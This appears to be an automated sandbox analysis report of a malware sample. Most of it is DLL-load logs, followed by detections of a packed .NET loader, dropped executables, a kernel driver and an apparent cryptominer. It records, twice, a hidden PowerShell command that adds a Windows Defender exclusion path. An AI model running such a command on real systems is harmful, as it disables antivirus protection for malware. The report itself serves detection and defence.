                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeSection loaded: webio.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeSection loaded: dnsapi.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeSection loaded: rasadhlp.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeSection loaded: fwpuclnt.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeSection loaded: cabinet.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeSection loaded: edputil.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeSection loaded: windows.staterepositoryps.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeSection loaded: wintypes.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeSection loaded: appresolver.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeSection loaded: bcp47langs.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeSection loaded: slc.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeSection loaded: sppc.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeSection loaded: onecorecommonproxystub.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeSection loaded: windowscodecs.dllJump to behavior
                              Source: C:\Windows\SysWOW64\cmd.exeSection loaded: cmdext.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: mscoree.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: apphelp.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: kernel.appcore.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: version.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: vcruntime140_clr0400.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: ucrtbase_clr0400.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: ucrtbase_clr0400.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: windows.storage.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: wldp.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: profapi.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: cryptsp.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: rsaenh.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: cryptbase.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: iphlpapi.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: dnsapi.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: dhcpcsvc6.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: dhcpcsvc.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: winnsi.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: rasapi32.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: rasman.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: rtutils.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: mswsock.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: winhttp.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: ondemandconnroutehelper.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: rasadhlp.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: fwpuclnt.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: secur32.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: sspicli.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: schannel.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: mskeyprotect.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: ntasn1.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: ncrypt.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: ncryptsslp.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: msasn1.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: gpapi.dll
                              Source: C:\Windows\SysWOW64\cmd.exeSection loaded: cmdext.dll
                              Source: C:\Windows\SysWOW64\cmd.exeSection loaded: cmdext.dll
                              Source: C:\Windows\SysWOW64\xcopy.exeSection loaded: ulib.dll
                              Source: C:\Windows\SysWOW64\xcopy.exeSection loaded: ifsutil.dll
                              Source: C:\Windows\SysWOW64\xcopy.exeSection loaded: devobj.dll
                              Source: C:\Windows\SysWOW64\xcopy.exeSection loaded: fsutilext.dll
                              Source: C:\Windows\SysWOW64\xcopy.exeSection loaded: ntmarta.dll
                              Source: C:\Windows\SysWOW64\net.exeSection loaded: mpr.dll
                              Source: C:\Windows\SysWOW64\net.exeSection loaded: wkscli.dll
                              Source: C:\Windows\SysWOW64\net.exeSection loaded: netutils.dll
                              Source: C:\Windows\SysWOW64\net.exeSection loaded: samcli.dll
                              Source: C:\Windows\SysWOW64\net.exeSection loaded: srvcli.dll
                              Source: C:\Windows\SysWOW64\net.exeSection loaded: iphlpapi.dll
                              Source: C:\Users\user\AppData\Local\Temp\smartscreen.exeSection loaded: mscoree.dll
                              Source: C:\Users\user\AppData\Local\Temp\smartscreen.exeSection loaded: apphelp.dll
                              Source: C:\Users\user\AppData\Local\Temp\smartscreen.exeSection loaded: kernel.appcore.dll
                              Source: C:\Users\user\AppData\Local\Temp\smartscreen.exeSection loaded: version.dll
                              Source: C:\Users\user\AppData\Local\Temp\smartscreen.exeSection loaded: vcruntime140_clr0400.dll
                              Source: C:\Users\user\AppData\Local\Temp\smartscreen.exeSection loaded: ucrtbase_clr0400.dll
                              Source: C:\Users\user\AppData\Local\Temp\smartscreen.exeSection loaded: ucrtbase_clr0400.dll
                              Source: C:\Users\user\AppData\Local\Temp\smartscreen.exeSection loaded: uxtheme.dll
                              Source: C:\Users\user\AppData\Local\Temp\smartscreen.exeSection loaded: edputil.dll
                              Source: C:\Windows\SysWOW64\net1.exeSection loaded: samcli.dll
                              Source: C:\Windows\SysWOW64\net1.exeSection loaded: netutils.dll
                              Source: C:\Windows\SysWOW64\net1.exeSection loaded: dsrole.dll
                              Source: C:\Windows\SysWOW64\net1.exeSection loaded: srvcli.dll
                              Source: C:\Windows\SysWOW64\net1.exeSection loaded: wkscli.dll
                              Source: C:\Windows\SysWOW64\net1.exeSection loaded: logoncli.dll
                              Source: C:\Windows\SysWOW64\net1.exeSection loaded: cryptbase.dll
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dll
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dll
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dll
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dll
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dll
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dll
                              Source: C:\Windows\SysWOW64\curl.exeSection loaded: secur32.dll
                              Source: C:\Windows\SysWOW64\curl.exeSection loaded: sspicli.dll
                              Source: C:\Windows\SysWOW64\curl.exeSection loaded: iphlpapi.dll
                              Source: C:\Windows\SysWOW64\curl.exeSection loaded: mswsock.dll
                              Source: C:\Windows\SysWOW64\curl.exeSection loaded: kernel.appcore.dll
                              Source: C:\Windows\SysWOW64\curl.exeSection loaded: dnsapi.dll
                              Source: C:\Windows\SysWOW64\curl.exeSection loaded: rasadhlp.dll
                              Source: C:\Windows\SysWOW64\curl.exeSection loaded: fwpuclnt.dll
                              Source: C:\Windows\SysWOW64\curl.exeSection loaded: schannel.dll
                              Source: C:\Windows\SysWOW64\curl.exeSection loaded: mskeyprotect.dll
                              Source: C:\Windows\SysWOW64\curl.exeSection loaded: ntasn1.dll
                              Source: C:\Windows\SysWOW64\curl.exeSection loaded: ncrypt.dll
                              Source: C:\Windows\SysWOW64\curl.exeSection loaded: ncryptsslp.dll
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
                              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: kdscli.dll
                              Source: C:\Windows\SysWOW64\curl.exeSection loaded: secur32.dll
                              Source: C:\Windows\SysWOW64\curl.exeSection loaded: sspicli.dll
                              Source: C:\Windows\SysWOW64\curl.exeSection loaded: iphlpapi.dll
                              Source: C:\Windows\SysWOW64\curl.exeSection loaded: cryptsp.dll
                              Source: C:\Windows\SysWOW64\curl.exeSection loaded: rsaenh.dll
                              Source: C:\Windows\SysWOW64\curl.exeSection loaded: cryptbase.dll
                              Source: C:\Windows\SysWOW64\curl.exeSection loaded: mswsock.dll
                              Source: C:\Windows\SysWOW64\curl.exeSection loaded: kernel.appcore.dll
                              Source: C:\Windows\SysWOW64\curl.exeSection loaded: dnsapi.dll
                              Source: C:\Windows\SysWOW64\curl.exeSection loaded: rasadhlp.dll
                              Source: C:\Windows\SysWOW64\curl.exeSection loaded: fwpuclnt.dll
                              Source: C:\Windows\SysWOW64\curl.exeSection loaded: schannel.dll
                              Source: C:\Windows\SysWOW64\curl.exeSection loaded: mskeyprotect.dll
                              Source: C:\Windows\SysWOW64\curl.exeSection loaded: ntasn1.dll
                              Source: C:\Windows\SysWOW64\curl.exeSection loaded: ncrypt.dll
                              Source: C:\Windows\SysWOW64\curl.exeSection loaded: ncryptsslp.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: mscoree.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: kernel.appcore.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: version.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: vcruntime140_clr0400.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: ucrtbase_clr0400.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: ucrtbase_clr0400.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: windows.storage.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: wldp.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: profapi.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: cryptsp.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: rsaenh.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: cryptbase.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: iphlpapi.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: dnsapi.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: dhcpcsvc6.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: dhcpcsvc.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: winnsi.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: rasapi32.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: rasman.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: rtutils.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: mswsock.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: winhttp.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: ondemandconnroutehelper.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: rasadhlp.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: fwpuclnt.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: secur32.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: sspicli.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: schannel.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: mskeyprotect.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: ntasn1.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: ncrypt.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: ncryptsslp.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: msasn1.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: gpapi.dll
                              Source: C:\Users\user\AppData\Local\Temp\smartscreen.exeSection loaded: mscoree.dll
                              Source: C:\Users\user\AppData\Local\Temp\smartscreen.exeSection loaded: kernel.appcore.dll
                              Source: C:\Users\user\AppData\Local\Temp\smartscreen.exeSection loaded: version.dll
                              Source: C:\Users\user\AppData\Local\Temp\smartscreen.exeSection loaded: vcruntime140_clr0400.dll
                              Source: C:\Users\user\AppData\Local\Temp\smartscreen.exeSection loaded: ucrtbase_clr0400.dll
                              Source: C:\Users\user\AppData\Local\Temp\smartscreen.exeSection loaded: ucrtbase_clr0400.dll
                              Source: C:\Users\user\AppData\Local\Temp\smartscreen.exeSection loaded: uxtheme.dll
                              Source: C:\Users\user\AppData\Local\Temp\smartscreen.exeSection loaded: edputil.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: mscoree.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: kernel.appcore.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: version.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: vcruntime140_clr0400.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: ucrtbase_clr0400.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: ucrtbase_clr0400.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: windows.storage.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: wldp.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: profapi.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: cryptsp.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: rsaenh.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: cryptbase.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: iphlpapi.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: dnsapi.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: dhcpcsvc6.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: dhcpcsvc.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: winnsi.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: rasapi32.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: rasman.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: rtutils.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: mswsock.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: winhttp.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: ondemandconnroutehelper.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: rasadhlp.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: fwpuclnt.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: secur32.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: sspicli.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: schannel.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: mskeyprotect.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: ntasn1.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: ncrypt.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: ncryptsslp.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: msasn1.dll
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeSection loaded: gpapi.dll
                              Source: C:\Users\user\AppData\Local\Temp\smartscreen.exeSection loaded: mscoree.dll
                              Source: C:\Users\user\AppData\Local\Temp\smartscreen.exeSection loaded: kernel.appcore.dll
                              Source: C:\Users\user\AppData\Local\Temp\smartscreen.exeSection loaded: version.dll
                              Source: C:\Users\user\AppData\Local\Temp\smartscreen.exeSection loaded: vcruntime140_clr0400.dll
                              Source: C:\Users\user\AppData\Local\Temp\smartscreen.exeSection loaded: ucrtbase_clr0400.dll
                              Source: C:\Users\user\AppData\Local\Temp\smartscreen.exeSection loaded: uxtheme.dll
                              Source: C:\Users\user\AppData\Local\Temp\smartscreen.exeSection loaded: edputil.dll
                              Source: C:\Users\user\Desktop\File.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32Jump to behavior
                              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist
                              Source: Window RecorderWindow detected: More than 3 window changes detected
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeFile opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dllJump to behavior
                              Source: File.exeStatic file information: File size 7203686 > 1048576
                              Source: File.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

                              Data Obfuscation

                              barindex
                              .NET source code contains potential unpacker
                              Source: COMSurrogate.exe.29.dr, AssemblyLoader.cs.Net Code: ReadFromEmbeddedResources System.Reflection.Assembly.Load(byte[])
                              Source: smartscreen.exe.29.dr, AssemblyLoader.cs.Net Code: ReadFromEmbeddedResources System.Reflection.Assembly.Load(byte[])
                              Suspicious powershell command line found
                              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\asm'"
                              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\asm'"
                              Yara detected Costura Assembly Loader
                              Source: Yara matchFile source: 29.2.RegAsm.exe.46a78ea.3.unpack, type: UNPACKEDPE
                              Source: Yara matchFile source: 32.0.COMSurrogate.exe.21271f60000.0.unpack, type: UNPACKEDPE
                              Source: Yara matchFile source: 40.0.smartscreen.exe.15a6f7e0000.0.unpack, type: UNPACKEDPE
                              Source: Yara matchFile source: 29.2.RegAsm.exe.46d0948.2.unpack, type: UNPACKEDPE
                              Source: Yara matchFile source: 29.2.RegAsm.exe.46d0948.2.raw.unpack, type: UNPACKEDPE
                              Source: Yara matchFile source: 29.2.RegAsm.exe.46a78ea.3.raw.unpack, type: UNPACKEDPE
                              Source: Yara matchFile source: 00000028.00000000.2985657308.0000015A6F7E2000.00000002.00000001.01000000.00000011.sdmp, type: MEMORY
                              Source: Yara matchFile source: 00000031.00000002.3725030188.0000016295FB1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                              Source: Yara matchFile source: 00000020.00000002.3721421332.0000021200001000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                              Source: Yara matchFile source: 00000020.00000000.2974274822.0000021271F62000.00000002.00000001.01000000.0000000F.sdmp, type: MEMORY
                              Source: Yara matchFile source: 0000001D.00000002.3757246392.00000000045E5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                              Source: Yara matchFile source: 00000033.00000002.3725432982.00000206467B1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                              Source: Yara matchFile source: 00000034.00000002.3723131584.00000133C20B1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                              Source: Yara matchFile source: 00000032.00000002.3722953108.000001BA08611000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                              Source: Yara matchFile source: 00000028.00000002.3719451864.0000015A00001000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                              Source: Yara matchFile source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Users\user\AppData\Local\Temp\smartscreen.exe, type: DROPPED
                              Source: COMSurrogate.exe.29.drStatic PE information: 0xE608878B [Fri Apr 18 00:57:47 2092 UTC]
                              Source: C:\Users\user\Desktop\File.exeCode function: 0_2_00406328 GetModuleHandleA,LoadLibraryA,GetProcAddress,0_2_00406328
                              Source: mi.exe.32.drStatic PE information: section name: _RANDOMX
                              Source: mi.exe.32.drStatic PE information: section name: _TEXT_CN
                              Source: mi.exe.32.drStatic PE information: section name: _TEXT_CN
                              Source: mi.exe.32.drStatic PE information: section name: _RDATA
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_007D8B75 push ecx; ret 24_2_007D8B88
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeCode function: 29_2_078A4110 push eax; iretd 29_2_078A411D
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeCode function: 29_2_078F4D60 push esp; ret 29_2_078F4D61
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeCode function: 29_2_078F5AF3 push eax; retf 29_2_078F5AF9
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeCode function: 32_2_00007FFAAC3E00BD pushad ; iretd 32_2_00007FFAAC3E00C1
                              Source: COMSurrogate.exe.29.drStatic PE information: section name: .text entropy: 7.954562345775779
                              Source: smartscreen.exe.29.drStatic PE information: section name: .text entropy: 7.948742985384125

                              Persistence and Installation Behavior

                              barindex
                              Drops PE files with a suspicious file extension
                              Source: C:\Users\user\AppData\Local\Temp\491505\Dr.comFile created: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrJump to dropped file
                              Source: C:\Windows\SysWOW64\cmd.exeFile created: C:\Users\user\AppData\Local\Temp\491505\Dr.comJump to dropped file
                              Sample is not signed and drops a device driver
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeFile created: C:\Users\user\AppData\Local\asm\WinRing0x64.sys
                              Source: C:\Users\user\Desktop\File.exeFile created: C:\Users\user\AppData\Local\Temp\CommissionerJump to dropped file
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeFile created: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeJump to dropped file
